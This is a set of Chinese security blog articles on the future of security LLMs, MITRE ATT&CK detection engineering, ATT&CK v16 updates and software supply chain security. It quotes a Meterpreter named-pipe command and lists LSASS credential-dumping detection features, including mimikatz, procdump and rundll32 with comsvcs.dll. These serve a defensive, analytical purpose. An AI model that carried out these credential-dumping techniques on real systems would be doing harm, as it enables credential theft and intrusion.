本文前述内容已经揭示了一个根本性的矛盾：一方面，为了构建最坚固的盾，我们必须深刻理解矛的构造与用法，即“未知攻，焉知防？”；另一方面，创造一个精通攻击的AI本身就带来了巨大的、难以控制的风险。因此，未来的选择并非简单的“防御型”或“攻击型”的二元对立，而是如何在追求极致能力与确保绝对可控之间找到一个微妙的平衡。

基于当前的技术趋势和安全理念，未来安全大模型的演进路径可以归结为以下几个方向：

6.1 路径一：深度整合的“领域专家”模型 (The Domain-Specific Expert)

此路径主张从头开始构建一个专门为网络安全领域设计的“白帽”专家模型。它不再是一个通用大模型（Generalist）的简单微调，而是在预训练阶段、模型架构和训练数据上就进行了深度定制。

训练数据：这类模型的“食粮”将是高度专业化和结构化的。它不仅仅是互联网上的文本，而是一个精心策划的综合数据集，包括：

攻防知识库：海量的CVE漏洞描述、exploit-db中的攻击代码、Metasploit框架模块、CTF竞赛的题目与解法、红队演练报告等。
恶意软件样本库：经过安全处理和分析的数百万恶意软件样本，学习其代码结构、行为模式和混淆技巧。
安全代码库：大规模的、经过审计和修复的开源代码，用于学习什么是“安全的代码”，并能反向识别“不安全”的模式。
实时威胁情报：持续接入全球威胁情报源，学习最新的攻击手法（TTPs）和攻击组织（APTs）的动向。

模型架构：它可能不再是单一的Transformer架构。更可能是一个混合式或多智能体（Multi-Agent）架构，类似于HPTSA的设计理念。不同的智能体分别扮演“侦察员”、“漏洞分析师”、“渗透工具专家”、“代码审计师”等角色，由一个更高层次的“战略规划”智能体进行协调。这种架构能更好地模拟人类安全团队的协作模式，处理长链条、高复杂度的任务。
核心挑战：对齐与控制。这是此路径的阿喀琉斯之踵。如何确保一个精通各种高级攻击技巧的AI，永远只会在授权和道德的框架内行事？这需要比现有“宪法AI”或RLHF更强大的对齐技术。其安全护栏必须是架构级别的、难以被“越狱”的，而非简单的提示层限制。

6.2 路径二：能力增强的“通用代理”模型 (The Augmented General-Purpose Agent)

此路径不寻求重新发明轮子，而是站在通用前沿大模型（如未来的GPT-5、Claude 4）的肩膀上，通过“增强”而非“重建”的方式来赋予其顶级的安全能力。

核心理念：通用大模型已经具备了强大的逻辑推理、代码理解和工具使用能力，这是最宝贵的“基础智力”。我们要做的是为其打造一套顶级的“安全专家装备”。
实现方式：

即时上下文学习 (In-Context Learning) 与RAG：为模型连接一个庞大且实时更新的“外接大脑”——一个包含所有专业安全知识的向量数据库。当处理安全任务时，模型能即时检索最相关的攻击技术、防御策略或漏洞信息，并将其作为决策依据。
专用工具集 (Specialized Tool Use)：模型本身不直接执行攻击，而是成为一个“指挥官”，熟练调用各种专业的安全工具（如Nmap、Wireshark、Burp Suite、代码静态分析工具等）。AI的核心任务是理解工具的输出，并制定下一步的工具调用策略。PentestGPT就是这一思想的早期实践。
任务导向的微调 (Task-Oriented Fine-Tuning)：在通用模型的基础上，使用高质量的攻防数据进行微调，以强化其在安全领域的“思维模式”和“专业术语”，但不需要从零开始学习。

优势与挑战：此路径的优势在于开发周期更短，且能充分享受通用模型能力迭代的红利。挑战在于，其安全能力始终受限于基础模型的“天花板”和其对工具的理解深度。它更像一个“使用说明书”的专家，而非一个具备底层原理“直觉”的专家。

6.3 结论：殊途同归，治理为王

无论是选择构建“领域专家”还是“通用代理”，未来的顶级安全大模型都必然具备以下特征：

1. 攻防一体：模型必须对攻击的全貌有深刻的理解，才能提供真正有效的防御建议、自动化修复方案和精准的威胁预警。一个只会“纸上谈兵”的防御模型，在日益复杂的攻击面前将不堪一击。

2. 人机协同：即使AI能够自主执行大部分任务，人类专家的角色依然不可或缺。未来将是“AI主导执行，人类专家监督决策”的模式。人类负责设定目标、审批高风险操作，并对AI无法处理的创造性难题进行指导。

3. 严格的治理框架：这是比模型本身更重要的部分。正如OpenAI的“准备框架”和Anthropic的“负责任扩展政策”所揭示的，对高能力AI的风险管理必须制度化。这意味着：

分级部署：根据模型的潜在风险（如能否自主发现0-day漏洞）来决定其部署范围和权限。
独立监督：必须有独立于开发团队的安全委员会，对模型的部署拥有“一票否决权”。
可审计性：模型的所有决策和操作都必须被详细记录，以便在出现问题时进行追溯和分析。

最终，未来安全大模型的选择，不是一个单纯的技术路线问题，而是一个技术、伦理与治理三位一体的战略抉择。我们追求的，不应仅仅是一个最强大的安全AI，而是一个最值得信赖、最为可靠、最能将强大能力锁定在造福人类轨道上的安全AI。打造这把“双刃剑”的竞赛已经开始，而如何为它铸造一个足够坚固的“剑鞘”，将是决定我们未来数字世界安全与否的关键。

阅读原文

跳转微信打开

ATT&CK实践进入深水区 ---不要再迷信ATT&CK覆盖率

Thu, 26 Dec 2024 17:04:00 +0800

原创程度 2024-12-26 17:04 北京

引言

ATT&CK除了版本更新的常规内容外，研究机构、学术界和产业界都有更深入的实践，检测方面的内容有了更多深入的实践和检验，从实际情况“祛魅”了ATT&CK覆盖率这个数字。除了检测工程之外，在威胁预测和威胁情报方面也有亮眼的进展。ATT&CK更像是一个“活框架”，它的源头是各种威胁情报和攻击方法的更新，比如勒索软件的猖獗；也有科技进展带来新的威胁也是ATT&CK可以覆盖的方向，比如ATT&CK的矩阵也扩展到AI安全领域、汽车安全、无人机和卫星安全领域。

ATT&CK在检测工程中的应用

CISA关于云安全和紫队测试的实践

紫队测试的基本原理，遵循"知己知彼"的战略思想，结合两个关键方面："了解敌人"：模拟攻击者工具、战术和程序，获取可观察数据；"了解自己"：开发和测试检测机制，识别技术差距和局限性。

图1 紫队的定义

紫队的意义在于大多数攻击者缺乏原创性，主要使用：

1.N-day CVEs（已知漏洞）

2.漏洞利用概念验证(POC)

3."安全审计"工具

防御者需要避免自满：

1.可能缺失关键取证数据

2.SIEM和分析模型可能过度调优

3.EDR/MSSP性能可能存在差异

根据云环境安全事件案例分析

1.Storm-0558 (2023年案例)

（1）利用了多种技术：私钥窃取、Web凭证伪造、云账户访问等

（2）展示了复杂的攻击链条

2.NOBELIUM (2024年案例)

（1）使用密码喷洒、云账户访问、应用程序访问令牌等技术

（2）影响到联邦机构系统

紫队的知识来源于ATT&CK（红队）和D2FEND（蓝队）的相关内容。

图2 紫队的工作过程

紫队测试流程详解

1.ATT&CK计划制定

（1）利用威胁情报和案例研究

（2）构建红队行动手册

2.模拟环境要求

（1）网络基础设施

（2）用户角色设置

（3）应用和服务配置

3.取证需求确定

（1）主机级别日志

（2）网络级别数据

（3）应用程序日志

4.对抗性模拟

（1）红队执行技术

（2）跟踪IOC和C2活动

5.蓝队响应

（1）使用现有工具和流程进行威胁狩猎

（2）追踪发现和检测方法

6.紫队测试

（1） ATT&CK覆盖分析

（2）识别已采取/遗漏的D3FEND防御措施

（3）基于完整取证和红队活动知识开发检测机制

（4）识别额外的防御措施

图3 紫队的完整工作流程

ATT&CK在Linux勒索软件中的应用

Cisco Talos的安全研究人员关于Akira Linux变体勒索软件的分析报告中说明了Linux勒索软件的现状：

Linux在关键系统中的普及

向混合云和云环境的转移

针对虚拟化平台
可能存在较弱的防御
双重勒索方式的增加

图4 Linux 勒索软件全景

1.Akira版本演进

（1）Akira_v2:

专门针对ESXi的加密器
使用Rust语言编写
文件扩展名为".akiranew"
改进了命令行参数功能
使用rust-crypto 0.2.36库进行加密

（2）Akira_v1:

使用C++编写，使用Crypto++库进行加密
基本功能较简单
文件扩展名为".akira"
可能是从Windows版本移植

2.分析Akira勒索软件使用的多个ATT&CK技术编号

（1）初始访问：

T1078 (有效账户)
T1190 (利用面向公众的应用程序)

（2）执行：

T1569.002 (服务执行)
T1059.001 (命令和脚本解释器：PowerShell)

（3）持久性：

T1547.001 (注册表运行键/启动文件夹)

（4）权限提升：

T1548.002 (滥用提权控制机制：绕过用户账户控制)

（5）防御规避：

T1562.001 (削弱防御：禁用或修改工具)
T1222 (文件和目录权限修改)

（6）横向移动：

T1021.002 (SMB/Windows管理共享)
T1021.001 (远程服务：远程桌面协议)

（7）收集与渗出：

T1560.001 (归档收集的数据：通过工具归档)
T1567.002 (通过Web服务渗出：渗出到云存储)

通过威胁追踪到检测工程完成对Linux下勒索软件的检测，首先通过ATT&CK框架，研究人员能够系统地记录和分析Akira的攻击链路；映射攻击者的战术技术和程序(TTPs)；跟踪威胁演变过程。然后从事件响应到威胁情报，再到检测工程的工作流程，这与ATT&CK框架的应用理念相符，有助于建立基于ATT&CK的检测策略；评估防御覆盖范围；识别防御差距。

ATT&CK在各个产品的覆盖率

这是一篇2024年USENIX Security 的一篇文章《How does Endpoint Detection use the MITRE ATT&CK Framework?》，主要探讨了端点检测产品如何整合和使用MITRE ATT&CK框架。研究人员分析了Carbon Black、Splunk和Elastic等端点检测产品如何使用ATT&CK框架。围绕3个主要问题:产品如何使用ATT&CK、为什么不能检测所有ATT&CK技术、产品间应用ATT&CK检测的一致性如何。技术覆盖范围并没有告诉我们可以检测到多少程序级威胁，ATT&CK 90% 覆盖率 == 90% ATT&CK 技术至少有 1 个检测规则。

主要发现：

1.产品使用ATT&CK的情况:

（1）产品优先考虑类似的战术和技术

（2）即使把所有产品结合起来,也无法实现100%的技术覆盖率

（3）厂商经常宣传高覆盖率,但这可能给人虚假的安全感

（4）过滤掉低、中严重性/风险规则，Splunk和Elastic的 ATT&CK 技术和覆盖范围均减半

图5 ATT&CK在各个产品的覆盖率和所有产品合并的覆盖率

图6 过滤低、中严重性/风险规则的各产品ATT&CK覆盖率

2.无法全面检测的原因:

（1）某些技术本质上很难检测

（2）约53种技术未在任何商业产品中实现

（3）主要障碍包括:检测方法无效(39.6%)、针对非主机基础设施(24.5%)、需要客户特定知识(17%)等

图7 安全产品的ATT&CK规则

图8 ATT&CK攻击技术无法检测的原因

3.产品间的一致性问题:

（1）即使检测相同的威胁,产品很少使用相同的ATT&CK技术来描述

（2）ATT&CK本身的模糊性和重叠导致了分歧

（3）不同产品可能将相同的系统日志活动归因于完全不同的战术动机

下图可以解释可能得分歧情况，展示了一个与 Meterpreter（一种攻击工具）相关的命名管道模拟行为，具体命令是：cmd.exe /c echo 4 sgryt3436 > \\.\ pipe \5 erg53

Elastic 的检测规则：将其归类为 T1134 (Access Token Manipulation)

Splunk 的检测规则：将同样的行为归类为T1059 (Command and Scripting Interpreter)和T1543 (Create or Modify System Process)

图9 Elastic和Splunk的归类分歧

ATT&CK在预测方面的应用

MITRE的威胁通告防御中心（Center for Threat-Informed Defense）机构为了使用ATT&CK框架可以全面了解攻击者，开发了攻击技术推理引擎 (TIE) ，这个引擎根据一组观察到的技术推断攻击者可能使用的技术。网络防御者可以使用这些数据来确定威胁搜寻特定技术的优先级，事件响应者可以使用这些信息来突出显示对于威胁驱逐和恢复至关重要的重要横向移动和持久行为。

图10 TIE的产品界面：以钓鱼技术为例，预测后续可能得攻击技术

图11 TIE导出的结果通过Navigator可视化

1. 技术原理

TIE是一种基于机器学习模型的工具，它通过训练在网络威胁情报上，推荐可能的TTPs（战术、技术和程序）基于已知的输入TTP。这种技术能够帮助分析人员快速理解在已知TTP之后可能发生的情况，基于广泛的威胁情报语料库。

2. 应用场景

（1）优先级排序：在网络紧急响应事件中，TIE可以帮助确定首先寻找哪些技术。

（2）事后分析：通过突出潜在的感知、检测和报告缺口，改善事后事件分析。

（3）攻击向量建议：作为网络保证的一部分，建议类似或相关的攻击向量。

（4）攻击者仿真计划：帮助创建攻击者仿真计划，以提高防御能力。

3. 优势

（1）提高效率：TIE通过减少分析人员在随机性上的时间投入，而将注意力集中在可能的入侵方法上，从而提高调查效率。

（2）适应性：随着新活动的检测，TIE的模型可以被重新训练以适应新的或以前未见过的攻击者TTPs。

（3）未知活动发现：TIE旨在协助安全团队发现基于观察到的攻击者活动的以前未知的攻击者活动。

4.与传统安全分析的比较

TIE与传统安全分析相比，更侧重于使用机器学习技术来预测和识别潜在的威胁行为序列，而不是仅仅依赖于已知的攻击模式和签名。这种方法可以更有效地适应不断变化的威胁环境，并能够识别出新的或未知的攻击行为。

ATT&CK在痛苦金字塔的应用

攀登金字塔（Summiting the Pyramid）是一个研究项目，来源于痛苦金字塔，专注于工程网络分析，使对手的规避更加困难。该项目由 MITRE 威胁通告防御中心创建和维护，推动全球威胁知情防御的技术水平和实践水平。

金字塔的前四层专注于短暂的值，对手很容易改变这些值。下一个级别的重点是对手在攻击期间尝试使用的工具类型。最后，顶层重点关注对手在攻击期间表现出的行为。

图12 痛苦金字塔和攀登金字塔的的联系

威胁检测规则的质量评估结果，采用了分层的StP(Summiting the Pyramid)框架：

1.分层结构（从上到下）：

（1）StP 5 (年级别): 能检测大多数子技术攻击

（2）StP 4 (月级别): 能检测部分攻击程序

（3）StP 3 (周级别): 能检测一些内部工具滥用

（4）StP 2 (天级别): 能检测常见恶意软件和黑客工具

（5）StP 1 (分钟级别): 容易被绕过的检测规则

图13 攻击者绕过时间示意图

2.整体评估：

（1）平均StP评分：1.63/5分

（2）大多数规则(849个)属于最低级别(StP 1&0)

（3）高质量的规则(StP 5)数量最少，仅8个

这个数据说明当前的检测规则质量普遍较低，大部分规则容易被绕过，而高质量、持久有效的检测规则较少。这表明需要改进检测规则的质量，提升整体防御能力。

图14 检测规则示意图

针对T1003.001（OS凭证转储 - LSASS内存）攻击技术的分层检测规则示例，从StP1到StP5每个层级的具体检测特征：

1.StP5（最高层）- 核心程序级别：

（1）检测针对LSASS的内核函数调用（NtOpenPrecess或ZwOpenProcess）

（2）这层检测最难绕过，因为它监控底层系统调用

2.StP4 - 部分核心程序：

（1）检测CreateToolhelp32Snapshot API调用

（2）监控从特定注册表路径向LSASS加载DLL的行为

（3）关注特定的API和系统交互

3.StP3 - 预置工具：

（1）检测Rundll32.exe执行comsvcs.dll的行为

（2）监控特定的Sysmon事件（EventID 10，权限值0x1010）

（3）关注系统工具的使用方式

4.StP2 - 攻击者工具：

（1）检测特定进程链（父进程windbg.exe/procdump.exe，子进程lsass.exe）

（2）检测Mimikatz工具的特征命令行

（3）关注已知攻击工具的特征

5.StP1（最低层）- 临时特征：

（1）检测特定文件名（mimikatz.exe）

（2）检测特定MD5哈希值

（3）这些特征最容易被攻击者更改

图15 T1003.001的攻击技术在攀登金字塔的示例

ATT&CK在科技领域的应用

人工智能领域：MITRE 人工智能系统对抗威胁格局 (ATLAS)是攻击者的全球可访问的活知识库，基于现实世界攻击的战术和技术，人工观察和真实演示，情报 (AI) 红队和安全小组。人工智能系统中存在越来越多的漏洞，人工智能的结合增加了现有系统的攻击面，超越传统的网络攻击。ATLAS 可以提高对这些独特威胁的认识和准备，更广泛的人工智能保障领域的漏洞和风险。

图16 ATLAS矩阵

航空航天领域：美国航空航天公司创建了太空攻击研究和战术分析 (SPARTA) 矩阵，以解决阻碍空间系统战术、技术和程序 (TTP) 识别和共享的信息和通信障碍。 SPARTA 旨在向太空专业人士提供有关航天器如何通过网络和传统反太空手段受到损害的非机密信息。该矩阵对导致航天器受损的常见活动进行了定义和分类。

图17 SPARTA矩阵

汽车领域：以其在汽车网络安全信息共享方面的领先地位而闻名的汽车信息共享和分析中心 (Auto-ISAC) 推出了汽车威胁矩阵 (ATM)。这一创新举措标志着在加强汽车威胁和风险评估以及整个汽车行业网络威胁情报的分类和共享方面取得了重大飞跃。

图18 ATM矩阵

无人机领域：目前有一篇密西西比州立大学发表的论文，说明MITRE ATT&CK框架在无人机(UAV)监视和侦察(S&R)任务中的应用和适配。主要威胁类型分析：

信号干扰(Signal Jamming)
GPS欺骗(GPS Spoofing)
黑客攻击和未授权访问
数据拦截和窃听
恶意软件攻击
拒绝服务攻击(DoS)
网络物理攻击

总结

ATT&CK检测工程是个单独的门类最近几年被反复提及，同时紫队测试在CISA的实践也值得学习，同时还有Linux的勒索软件可能也是一种新的攻击思路。

ATT&CK覆盖率“祛魅”的最有说服力的论文就是今年顶会发的这篇文章，覆盖率本身就是一个表面的内容，不要迷信100%的覆盖率，就跟考试100分的学生能力不一定很强。

MITRE威胁通告防御中心将ATT&CK进行了更加深度的研究，包括预测和对痛苦金字塔的最新事件都有很好的防御思路。

ATT&CK最近一年在不同科技领域继续渗透，AI中的ATLAS框架，航空航天的SPARTA框架，汽车领域的ATM框架，都是ATT&CK方法论的延伸，这些框架也有助于安全研究人员体系化的理解新的科技领域面临的安全挑战。

参考资料

1.https://attack.mitre.org/

2.https://mitre-attack.github.io/attack-navigator/

3.https://attack.mitre.org/resources/attackcon/october-2024/

4.https://redcanary.com/threat-detection-report/trends/by-industry/

5.Apurva Virkud, Muhammad Adil Inam, Andy Riddle, Jason Liu, Gang Wang, and Adam Bates,”How does Endpoint Detection use the MITRE ATT&CK Framework?”, USENIX Security 24

6.https://center-for-threat-informed-defense.github.io/technique-inference-engine/#/

7.https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/

8.https://ctid.mitre.org/projects/secure-ai/

9.https://atlas.mitre.org/

10.https://sparta.aerospace.org/

11.https://atm.automotiveisac.com/

12.Greer, Jeffrey IV, "MITRE Attack framework adaptation in UAV usage during surveillance and reconnaissance missions" (2024). Theses and Dissertations. 6208.

阅读原文

跳转微信打开

ATT&CK 2024更新内容简介

Tue, 24 Dec 2024 11:52:00 +0800

原创程度 2024-12-24 11:52 北京

引言

主要更新内容

ATT&CK继续延续每年更新两个大版本的状态，今年迎来的ATT&CK 的第16个版本。笔者跟踪了这一年的ATT&CK的进展以及刚结束的ATT&CKcon 5.0中各个内容。提炼了主要的更新内容和主要的更新方向。

ATT&CK更新内容

主要更新内容

最新进展(自ATT&CK con4.0以来，ATT&CK v14)：新增44个攻击技术/子技术；新增20个攻击组织；新增13个攻击行动；新增55个攻击软件。更新了267个攻击技术/子技术；更新了96个攻击组织；更新了7个攻击行动；更新了204个攻击软件。每年新增的内容并不是很多，只是两位数的增长。

图1 ATT&CK V16更新内容

1、主要技术范围扩展

增加了语音钓鱼等新型攻击方式
加入了人工智能相关内容
增加了金融盗窃相关内容

（1）语音钓鱼（T1566.004）：攻击者可能会使用语音通信来最终控制访问受害者系统。这种攻击方式与其他形式的鱼叉式网络钓鱼不同，通过电话或其他形式的语音通信来操纵用户提供对系统的访问，例如冒充可信来源（模仿）或为接听者制造紧迫感或警报。在这种情况下，攻击者使用电话来获取受害者的敏感信息。这些方式被称为语音网络钓鱼（或“vishing”），可以由攻击者、雇佣的呼叫中心手动执行，甚至可以通过自动呼叫自动执行。语音网络钓鱼者可能会伪造他们的电话号码，同时冒充受信任的实体，例如业务合作伙伴或技术支持人员。

（2）二维码钓鱼（T1598.003）：攻击者还可能以二维码（QR code）（也称为“quishing”）的形式发送恶意链接。这些链接可能会将受害者引导至凭证网络钓鱼页面。通过使用QR码，URL可能不会在电子邮件中展示，因此可能不会被大多数自动电子邮件安全扫描检测到。这些QR码可能会被用户的移动设备扫描或直接传送到用户的移动设备（即网络钓鱼），这在一些相关方面可能不太安全。例如，由于移动设备尺寸较小，移动用户可能无法注意到真实网站和凭证收集网站之间的细微差别。

（3）人工智能能力（T1588.007）：攻击者可能会获得生成式人工智能工具，例如大型语言模型（LLM），以在渗透过程中帮助使用各种技术。这些工具可用于建议、增强和使能各种恶意任务，包括进行侦察、创建基本脚本、协助社会工程，甚至开发有效负载。

例如，通过利用公开的LLM，攻击者实质上是使用该工具外包或者自动化一些任务。使用人工智能，攻击者可以用各种书面语言起草和生成内容，用于网络钓鱼/网络钓鱼信息活动。也可能会进一步使用漏洞或其他支持开发能力的攻击性研究。人工智能工具还可以通过生成、改造或以其他方式增强（例如模糊文件或信息）恶意脚本和有效负载来自动化攻击任务。

（4）金融盗窃（T1657）：攻击者可能会通过勒索、社会工程、技术盗窃或其他旨在获取经济利益的方法从目标窃取货币。金融盗窃是多种流行活动类型的最终目标，包括勒索软件勒索、商业电子邮件泄露(BEC)和欺诈、“杀猪盘”、银行黑客攻击和利用加密货币网络。

攻击者可能会破坏账户以进行未经授权的资金转移。在商业电子邮件泄露或电子邮件欺诈的情况下，攻击者可能会利用冒充可信实体的方式。一旦社会工程成功，受害者可能会被欺骗，将钱汇入攻击者控制的金融账户。

由于金融盗窃可能对业务产生巨大影响，对手可能会滥用金融盗窃的可能性并寻求金钱利益，以转移对其真正目标（例如数据破坏和业务中断）的注意力。

2、检测增强功能

更新了数百种技术和子技术；描述检测细节的来龙去脉；以更直接可用的格式开发了100多种分析能力。

图2 检测能力增强

（1）工控领域（ICS）增加了资产（Assets）的分类

资产代表工业控制系统环境中常见的设备和系统。每个资产对象都包括技术关系的映射，这些技术关系表示攻击者可能根据设备的能力和功能针对设备的操作。

这些设备通常具有不同的名称或行业特定术语。为了更准确地跟踪这些差异，使用“相关资产”字段，该字段根据相似的功能、架构位置和相似对手技术的暴露情况将这些术语关联起来。每个相关资产都包括名称、可选的扇区标识符以及为资产页面定义提供细微差别的描述。

尽管资产最初在ATT&CK中表示为平台字段，但资产与平台明显有区别。平台通常描述操作系统或应用程序（即Microsoft Windows），而资产代表设备，包括硬件、软件、架构和预期功能的考虑因素。资产可以利用平台来描述设备的常见操作系统。

图3 工控资产的列表

（2）移动平台(Mobile)的两个主要更新内容

（i）结构化检测（Structured detections）

图中展示了一个检测表格示例，包含ID、数据源、数据组件和检测内容等字段具体展示了两个检测条目：

lDS0041:关于应用程序审核(Application Vetting)的权限请求检测
lDS0042:关于用户界面(User Interface)的权限请求和系统设置检测

这些检测需要设备管理员权限的请求和管理

图4 移动平台的检测

（ii）跨平台攻击者

图中展示了一个具体案例C0033，这是一个PROMETHIUM组织的攻击活动，他们使用StrongPity工具针对Android用户进行攻击，特别之处在于这是PROMETHIUM组织首次被公开记录的移动平台攻击活动（该组织此前主要针对Windows系统）

图5 C0033介绍

Enterprise 框架内容更新

1、云平台相关的重要更新

考虑到身份即服务平台不止一个，还有Okta、Ping Identity、JumpCloud、Onelogin等等。Office365跟Google Workspace重复度较高。重组了云平台的分类结构，包括：

Infrastructure as a Service (基础设施即服务)
Software as a Service (软件即服务)
Identity Provider (身份提供商)
Office Suite (办公套件)

图6 云平台分类更新

2、添加了事件触发执行的新子技术：设备文件管理（Udev Rules T1546.017）

攻击者可以通过执行使用udev规则触发的恶意内容来保持持久性。Udev是Linux内核设备管理器，它动态管理设备节点，处理对/dev目录中伪设备文件的访问，并响应硬件事件，例如插入或移除硬盘或键盘等外部设备时。

攻击者可能通过在udev规则文件中添加或修改规则来滥用udev子系统来执行恶意内容。例如，攻击者可以配置规则，以便在每次应用程序访问伪设备文件（例如/dev/random）时执行其二进制文件。尽管udev仅限于运行短任务，并且受到systemd-udevd沙箱的限制（阻止网络和文件系统访问），但攻击者可以使用操作符下的脚本命令来分离并在后台运行恶意内容的进程，以绕过这些控制。

3、资源劫持技术

Compute Hijacking （利用计算资源来挖掘加密货币）
Bandwidth Hijacking （劫持代理网络出售网络带宽）
SMS Pumping （产生短信流量以获取利润）
Cloud Service Hijacking （滥用基于云的消息服务发送大量垃圾邮件）

威胁情报内容更新

1、威胁情报的整体目标

及时捕获相关的威胁态势
改进对其他地区和网络犯罪活动者的覆盖
利用Campaign对象更准确地反映活动随时间的变化

2、威胁组织(Group)优先事项

APT组织：

（1）持续捕获新兴的国家支持的威胁

（2）确保保持最新的信息

网络犯罪组织：

（1）继续扩展对犯罪实体的表示
（2）努力区分组织、软件和活动

3、攻击软件(Software)优先事项

恶意软件：确保捕获重要且独特的恶意软件
勒索软件：提高对勒索软件家族的覆盖
工具和实用程序：捕获入侵中使用的非恶意工具

图7 攻击软件的优先事项

4、攻击活动(Campaign)优先事项

目前在ATT&CK中Campaign对象使用不足，将进行改变
解决长期运行的组织看似使用"所有技术"的问题
网络犯罪行动中多个行为者之间的关系模糊，使Campaign表示比明确的组织更适用

未来发展方向：改进数据模型；增强活动分类和表示；完善对新兴威胁的覆盖；加强对非传统区域和威胁的支持。

防御内容更新

1、防御增强

新的和更新的缓解措施
事件ID到数据源的映射
将伪代码转换为SPL分析规则

2、分析能力提升

目前有360个分析规则
计划填补缺失的战术分析
符合Sigma标准
增加多事件分析能力

图8 分析能力战术分类

3、数据源重构

重新定义数据源概念
细化实际日志源分类
采用"通用源:具体日志通道"的格式
涵盖多种平台和服务的日志

分行业攻击分析

Red Canary公司制作的一份关于行业与网络安全威胁关系的分析报告。其核心观点包括以下几个方面：

主要论点：一个组织所属的行业并不是决定其面临网络威胁类型的关键因素。数据显示，不同行业面临的攻击技术和威胁类型存在很大的相似性。

数据支持：

（1）报告分析了2023年和2024年初的威胁检测数据
（2）使用NAICS(北美行业分类系统)对不同行业进行分类
（3）通过Jaccard相似度指数等方法比较不同行业间的威胁技术异同

关键发现：

（1）大多数攻击者是机会主义的，他们更关注可利用的漏洞而非特定行业
（2）一些技术(如PowerShell、Cloud Accounts等)在所有行业中都很普遍
（3）行业差异主要体现在其IT基础设施和配置上，而非针对性攻击手段

图9 跨部门攻击技术滥用（前10名）

特定行业攻击特点：

（1）教育行业：约55%的检测是电子邮件相关威胁，主要是邮件转发（T1114.003）和邮件隐藏（T1564.008），这与其开放性网络特征相关
（2）制造业：可移动媒体攻击（T1091）较多，可能与其特殊的设备需求有关
（3）医疗行业：医疗环境中Linux系统的使用比预期要普遍，检测到大量Cron (T1053.003)和Unix Shell (T1059.004)的使用，医疗机构的IT架构比表面看起来要复杂得多
（4）金融行业：更严格的安全控制会推动攻击者采用更复杂和隐蔽的技术。主要侧重于独特攻击技术包括：HTML Smuggling（T1027.006），一种高级的文件传递技术，能够绕过传统的网关扫描；Distributed Component Object Model（分布式组件对象模型T1559.001），利用合法的Windows系统组件进行攻击，这些技术在其他行业的前10名攻击技术中较少出现。

报告也揭示了一些有趣的行业安全模式：

信息行业模式:

（1）特点是拥有大量大型客户，且检测到的威胁数量也很多
（2）显示出规模与威胁检测量之间的正相关性
（3）这可能反映了大型科技公司拥有更复杂的IT环境和更多的攻击面，同时也可能拥有更先进的检测能力

零售行业情况:

（1）尽管没有太多大客户，但检测到的威胁数量却很高
（2）这种不符合一般规律的现象值得关注
（3）可能反映了该行业特殊的风险因素，如供应链复杂性、系统互联性高等特点

金融行业特征:

（1）虽然有很多大客户，但威胁检测量相对较低
（2）这种现象的主要原因是严格的合规要求和监管控制
（3）表明强有力的监管和合规要求确实能有效降低安全风险

整体分析表明，行业特征、公司规模、监管环境等因素共同影响着威胁检测模式。特别值得注意的是，严格的监管似乎确实能有效降低安全风险，而不仅仅是形式上的要求。这为其他行业的安全治理提供了有益的参考。

总结

近年的ATT&CK更新可以看出来更加贴近实际情况与时俱进，更新的内容更加符合行业的趋势。比如二维码和语音钓鱼的情况在国内也很普遍，最核心的Enterprise框架云安全部分也做了很大的调整，工控框架增加了资产内容，移动框架增了一些检测能力。为了让ATT&CK看起来不那么“全面”，后续要更新攻击活动（Campaign）的内容，防御内容这次更新的内容非常丰富，以后的分析思路都可以参考官方的思路。

按照各个行业的ATT&CK的攻击思路可以看出来，相同的地方大于不同的地方，攻击者大部分都是机会主义者，行业攻击不同的地方的分析也很有意思。

阅读原文

跳转微信打开

软件供应链安全的部分理解

Wed, 28 Aug 2024 18:00:00 +0800

原创程度 2024-08-28 18:00 北京

摘要

自从Solarwinds的供应链攻击事件，以及Log4j的漏洞对全行业安全造成影响，以及最近的SSH依赖库投毒攻击事件，软件供应链攻击开始被我们认识到。软件供应链安全事件最近几年也层出不穷，有APT攻击行为，也有开发者恶意行为，也有无意行为等。随着软件在数字化转型中的重要性日益提升，以及从供应链安全衍生出的软件供应链安全已成为信息安全领域的关键问题。本文将深入解读软件供应链安全的主要框架，分析核心问题，并基于当前市场格局探讨主流厂商的解决方案。通过全面剖析软件供应链安全的各个方面，为行业提供构建更安全、可靠的软件供应链安全的部分理解。

1. 软件供应链安全的问题现状

根据2023年Sonatype的软件供应链安全报告，可以看出开源项目虽然增速变慢，但是总体下载数量还在增长，已经超过了每年4万亿的下载次数。

图1 不同语言的开源项目的增长率

图2 所有开源项目每年的下载次数

1. 开源组件使用广泛但存在安全风险:

超过96%的已知漏洞下载有可用的修复版本,但开发者并未应用修复。

12%的Maven Central下载包含至少一个已知安全漏洞。
37%的漏洞组件下载是严重级别的。

图3 从Maven Central下载的有漏洞的Java组件统计

2. 恶意软件包攻击激增:

2023年发现245,000个恶意软件包,是之前几年总和的两倍。
恶意软件包成为软件供应链攻击的主要途径之一。

图4 每年发现的有威胁的软件包

3. 开源项目维护状况不佳:

8.6%的Java和JavaScript开源项目在2022年得到维护,但现在不再维护。
85%的Maven Central项目处于不活跃状态。
仅28%的组织能在漏洞披露后一天内意识到新的开源漏洞。
39%的组织需要超过一周时间来修复漏洞。

图5 开源漏洞修复周期

软件供应链安全面临着多方面的挑战，主要包括：

1.开源组件管理：

依赖复杂性：现代软件往往依赖大量开源组件，形成复杂的依赖树。
漏洞传播：一个底层组件的漏洞可能影响整个依赖链。
许可合规：需要确保所有使用的开源组件符合许可要求。

2. CI/CD管道安全：

配置错误：不安全的CI/CD配置可能导致未经授权的代码被引入。
凭证泄露：构建过程中的凭证管理不当可能导致敏感信息泄露。
供应链攻击：攻击者可能通过污染构建过程来植入恶意代码。

3. 制品完整性：

篡改检测：确保软件制品在分发和部署过程中未被篡改。
签名验证：使用加密签名来验证制品的来源和完整性。
来源追溯：能够追溯每个软件组件的来源和变更历史。

4. 漏洞管理：

检测及时性：快速识别新发现的漏洞对使用的组件的影响。
修复优先级：在大量漏洞中确定哪些需要优先修复。
影响评估：准确评估漏洞对整个应用程序的实际影响。

5. 合规性挑战：

SBOM生成：生成和维护准确的软件材料清单(SBOM)。
监管要求适配：满足不断的法规要求（如美国政府的行政命令）。
跨境数据流动：在全球化软件开发中处理不同地区的数据保护要求。

2. 软件供应链安全框架解读

2.1 NIST安全软件开发框架 (SSDF, SP 800-218)

NIST安全软件开发框架(SSDF)是一套全面的指南，旨在帮助组织将安全实践整合到软件开发生命周期中。该框架围绕四大核心功能展开：

1. 准备组织(PO): 确保组织的人员、流程和技术准备就绪，能够执行安全的软件开发。

PO.1 定义安全要求
